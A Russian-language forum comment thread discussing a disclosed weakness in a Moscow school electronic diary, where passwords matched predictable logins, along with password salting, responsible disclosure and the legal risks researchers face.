      А есть какой-то багтрекер у вас или Хабр вместо него?
  • 0
    >Странная строка, добавляемая к концу пароля, добавлялась, наверное, для криптостойкости — чтобы хеш трудно было взломать, если его перехватят.

    В терминах криптографии это называется «salt» — «соль»
  • 0
    Вообще, смешной случай, очень интересно ребята с паролями придумали.

    Хотя, что касается школьников, там и брутфорсить не нужно. У меня знакомый в день получает по 500+ аккаунтов к ВК, мейлу, фейсбуку, благодаря взломанным играм. И вроде пароль у человека из 30+ символов, но качает всякую дрянь, и все равно учетка уходит к злоумышленникам.
  • +1
    Но самое страшное — это когда простой пароль у любой сервисной учетки, с привилегиями чуть выше обычного юзера и далее до максимальных.
    Это просто жесть и катастрофа для инфраструктуры.
  • +1
    «Посмотрев на свой логин, я заметил особенность, что он состоял из фамилии, первой буквы имени и первой буквы отчества (всё это транслитерируется) и пароль был таким же».

    Я одного не могу понять… Как? Как?! Если бы кто это мне рассказал, я бы подумал, что это какой-то анекдот.
    • +2
      «Не стоит искать скрытый смысл там где все можно объяснить тупостью»
      Обычная ситуация — посредственные исполнители делают унылое г, ибо сделать качественный продукт не могут.
      На рынке труда аццкий дефифит квалифицированных кадров в итоге имеем ситуацию когда дыры приходится затыкать средненькими кадрами которые емеют хоть что то. И таких вот «хоть что то » 80% на рынке труда
      • 0
        Кстати, по на эту тему я сейчас перевожу наизамечательнуйшую статью для хабра.
      • +1
        Да уж… Но ведь я уже в школе умел их в md5 хотя-бы, умел даже генерировать рандомные строки, даже ясно понимал, что шифровать нужно с солью и т. д. И это при том, что я прогуливал информатику и собссно программистом становиться даже не собирался (кто-бы мог подумать, что я полностью свяжу с ним всю свою жизнь...).

        Я помимо Вашей предполагаю тут и другую проблему — банальный распил. То есть выделили на этот дневник 3 миллиона (или сколько там… Примерно столько?), программить посадили секретарш (в прямом смысле), и сколько в результате получили на руки чистыми? Правильно, 2 990 000 руб.))) Может даже больше. Лично я только так могу объяснить такой фейл, который даже ради прикола придумать сложно. Я-бы такой прикол не придумал бы, сразу скажу))) Особенно где-где, в дневнике, которым будут пользоваться ВСЕ школы (!).
  • 0
    Топикстартеру отдельное спасибо, однако было бы этично сначала связаться с нами.

    Топикстартеру повезло, как я понял. А то мог бы быть сначала звонок «откуда следует», разговор в кабинете =)
    • +3
      Я писал на почту. Ждал долго, но ответа не было......
      • 0
        Вы, видимо, не работали в гос. структурах никогда.
        Хочу предостеречь, что если даже человек руководствуется самыми благими намерениями, даже если всех предупредил, мало того, даже если ему потом сказали спасибо, остается ровно два варианта развития событий — он окажется в кабинете следователя, а затем в суде или не окажется — вероятность ровно 50 на 50.
        • 0
          он окажется в кабинете следователя, а затем в суде или не окажется
          Музыкой навеяло:

          "— Какова вероятность, выйдя на улицу, встретить динозавра?
          — 50%.
          — Это как???
          — Ну как: либо встречу, либо не встречу..."
          • 0
            Да-да, именно этот анекдот я вспоминаю, когда речь идет о гос. машине. Про бинарную оппозицию героиня анекдота знала.
            Причем замечу, что за подобное реально схлопотать минимум условку. Буду только надеяться, что автору повезет.
            • 0
              Про бинарную оппозицию героиня анекдота знала.
              … но не знала, что не все события созданы равными равновероятными.

              В любой стране (в России особенно, но не надо себя утешать — в других ничуть не легче) вероятность загреметь зависит не только и не столько от того, насколько индивидуум виноват, а от того, насколько он достаёт тех, кто у власти. Помните Ришелье? «Дайте мне шесть строчек, написанных рукой самого честного человека, и я найду в них то, за что его можно повесить.» В США, например, среднестатистический человек совершает три правонарушения в день — причём речь идёт не о таких мелочах, как переход улицы в неположенном месте.

              Вот, скажем, в США человека засудили (и довели до самоубийства) за то, что он скачал в библиотеке документы, которые он имел законное право (имел законное право, Карл!!!) скачивать.
            • 0
              У нас довольно хорошие отношения с теми, кто помогает искать критические уязвимости, думаем над программой баг баунти, но конечно этичнее в таких случаях сначала попытаться связаться с разработчиком
        • 0
          То есть, информировать авторов этого дневника было лишним?
        • 0
          У нас не так, хотя у департамента и нет пока официальной программы баг баунти, мы стараемся поощрять тех, кто помогает нам находить критические уязвимости. Но в данном случае попыток предварительно связаться с нами мы не увидели, к сожалению.
      • 0
        На какую почту хоть?
        • 0
          dnevnik@mos.ru
          • 0
            Спасибо! Провели внутреннее расследование, актуальный адрес технической поддержки, который указан в системе, это uchebnik@mos.ru, заодно выявили еще одну проблему с раздвоением адресов техподдержки. Письмо от вас на старый ящик действительно было, так что насчет неэтичности публикации в целом снимается. Пожалуйста, обращайтесь напрямую, если еще что-то найдете. А эпизод нас заставил задуматься о программе багбунти.
  • 0
    Я примерно знаю, что может вдруг клюнуть в голову тому или иному чиновнику.
    Вы ведь не очень задумывались, как будет выглядеть ситуация «с той стороны», при этом сразу в нескольких аспектах?!

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.